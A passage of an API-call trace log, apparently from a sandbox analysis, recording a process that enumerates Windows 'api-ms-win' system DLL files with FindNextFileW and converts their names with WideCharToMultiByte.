cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1d3c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d3c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1d3c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0040.851] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0040.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d3c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1d3c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d3c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d3c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0040.852] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1d3c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1d3c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d3c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d3c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d3c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d3c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0040.853] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, 